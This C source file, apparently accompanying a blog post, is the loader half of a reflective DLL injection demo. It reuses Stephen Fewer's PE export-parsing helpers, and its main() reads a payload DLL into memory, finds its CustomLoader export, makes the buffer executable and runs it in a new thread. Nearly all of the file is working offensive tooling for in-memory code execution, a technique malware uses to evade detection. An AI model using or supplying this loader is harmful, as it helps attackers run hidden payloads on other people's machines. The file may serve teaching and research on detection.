Files
2026-05-04 13:06:27 +01:00

193 lines
6.5 KiB
C

/*
* loader.c — outer loader for the reflective DLL injection demo.
*
* Rva2Offset() and GetReflectiveLoaderOffset() are from Stephen Fewer's
* reflective_dll_injection project (2012, BSD 3-clause). Kept verbatim
* because rewriting them isn't what this post is about.
*
* main() is the only part of this file that I wrote.
*/
#include <windows.h>
#include <stdio.h>
#if defined(_M_X64) || defined(__x86_64__)
#define WIN_X64
#endif
#define DEREF( name )*(UINT_PTR *)(name)
#define DEREF_64( name )*(DWORD64 *)(name)
#define DEREF_32( name )*(DWORD *)(name)
#define DEREF_16( name )*(WORD *)(name)
#define DEREF_8( name )*(BYTE *)(name)
#define REFLDR_NAME "CustomLoader"
DWORD Rva2Offset( DWORD dwRva, UINT_PTR uiBaseAddress )
{
WORD wIndex = 0;
PIMAGE_SECTION_HEADER pSectionHeader = NULL;
PIMAGE_NT_HEADERS pNtHeaders = NULL;
pNtHeaders = (PIMAGE_NT_HEADERS)(uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew);
pSectionHeader = (PIMAGE_SECTION_HEADER)((UINT_PTR)(&pNtHeaders->OptionalHeader) + pNtHeaders->FileHeader.SizeOfOptionalHeader);
if( dwRva < pSectionHeader[0].PointerToRawData )
return dwRva;
for( wIndex=0 ; wIndex < pNtHeaders->FileHeader.NumberOfSections ; wIndex++ )
{
if( dwRva >= pSectionHeader[wIndex].VirtualAddress && dwRva < (pSectionHeader[wIndex].VirtualAddress + pSectionHeader[wIndex].SizeOfRawData) )
return ( dwRva - pSectionHeader[wIndex].VirtualAddress + pSectionHeader[wIndex].PointerToRawData );
}
return 0;
}
DWORD GetReflectiveLoaderOffset( VOID * lpReflectiveDllBuffer )
{
UINT_PTR uiBaseAddress = 0;
UINT_PTR uiExportDir = 0;
UINT_PTR uiNameArray = 0;
UINT_PTR uiAddressArray = 0;
UINT_PTR uiNameOrdinals = 0;
DWORD dwCounter = 0;
#ifdef WIN_X64
DWORD dwCompiledArch = 2;
#else
// This will catch Win32 and WinRT.
DWORD dwCompiledArch = 1;
#endif
uiBaseAddress = (UINT_PTR)lpReflectiveDllBuffer;
// get the File Offset of the modules NT Header
uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew;
// currenlty we can only process a PE file which is the same type as the one this fuction has
// been compiled as, due to various offset in the PE structures being defined at compile time.
if( ((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.Magic == 0x010B ) // PE32
{
if( dwCompiledArch != 1 )
return 0;
}
else if( ((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.Magic == 0x020B ) // PE64
{
if( dwCompiledArch != 2 )
return 0;
}
else
{
return 0;
}
// uiNameArray = the address of the modules export directory entry
uiNameArray = (UINT_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];
// get the File Offset of the export directory
uiExportDir = uiBaseAddress + Rva2Offset( ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress, uiBaseAddress );
// get the File Offset for the array of name pointers
uiNameArray = uiBaseAddress + Rva2Offset( ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames, uiBaseAddress );
// get the File Offset for the array of addresses
uiAddressArray = uiBaseAddress + Rva2Offset( ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions, uiBaseAddress );
// get the File Offset for the array of name ordinals
uiNameOrdinals = uiBaseAddress + Rva2Offset( ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals, uiBaseAddress );
// get a counter for the number of exported functions...
dwCounter = ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->NumberOfNames;
// loop through all the exported functions to find the ReflectiveLoader
while( dwCounter-- )
{
char * cpExportedFunctionName = (char *)(uiBaseAddress + Rva2Offset( DEREF_32( uiNameArray ), uiBaseAddress ));
if( strstr( cpExportedFunctionName, REFLDR_NAME ) != NULL )
{
// get the File Offset for the array of addresses
uiAddressArray = uiBaseAddress + Rva2Offset( ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions, uiBaseAddress );
// use the functions name ordinal as an index into the array of name pointers
uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) );
// return the File Offset to the ReflectiveLoader() functions code...
return Rva2Offset( DEREF_32( uiAddressArray ), uiBaseAddress );
}
// get the next exported function name
uiNameArray += sizeof(DWORD);
// get the next exported function name ordinal
uiNameOrdinals += sizeof(WORD);
}
return 0;
}
int main(int argc, char *argv[]) {
if (argc < 2) {
printf("Usage: %s <payload.dll>\n", argv[0]);
return 1;
}
// Read the DLL from disk as raw bytes
printf("[+] Opening payload.dll\n");
HANDLE hFile = CreateFileA(argv[1], GENERIC_READ, 0, NULL, OPEN_EXISTING, 0, NULL);
if (hFile == INVALID_HANDLE_VALUE) {
printf("[-] CreateFileA failed (error %lu)\n", GetLastError());
return 1;
}
DWORD fileSize = GetFileSize(hFile, NULL);
printf("[+] File is %lu bytes\n", fileSize);
// Allocate RW memory and read the raw DLL into it
void *exec_mem = VirtualAlloc(NULL, fileSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (exec_mem == NULL) {
printf("[-] VirtualAlloc failed (error %lu)\n", GetLastError());
return 1;
}
printf("[+] Allocated buffer at %p\n", exec_mem);
DWORD bytesRead;
if (!ReadFile(hFile, exec_mem, fileSize, &bytesRead, NULL) || bytesRead != fileSize) {
printf("[-] ReadFile failed (error %lu)\n", GetLastError());
return 1;
}
printf("[+] Copied file into buffer\n");
CloseHandle(hFile);
// Find CustomLoader offset in the raw PE (disk layout)
DWORD loaderOffset = GetReflectiveLoaderOffset(exec_mem);
if (loaderOffset == 0) {
printf("[-] GetReflectiveLoadderOffset failed\n");
return 1;
}
printf("[+] Located CustomLoader at file offset: 0x%lX\n", loaderOffset);
// Make executable
DWORD oldProtect;
if (!VirtualProtect(exec_mem, fileSize, PAGE_EXECUTE_READWRITE, &oldProtect)) {
printf("[-] VirtualProtect failed (error %lu)\n", GetLastError());
return 1;
}
printf("[+] Marked buffer executable\n");
// Jump to CustomLoader within the raw bytes
printf("[+] Spawning thread at %p\n", (void *)((ULONG_PTR)exec_mem + loaderOffset));
HANDLE th = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)((ULONG_PTR)exec_mem + loaderOffset), NULL, 0, NULL);
if (th == NULL) {
printf("[-] CreateThread failed (error %lu)\n", GetLastError());
return 1;
}
WaitForSingleObject(th, INFINITE);
printf("[+] Thread returned, exiting\n");
return 0;
}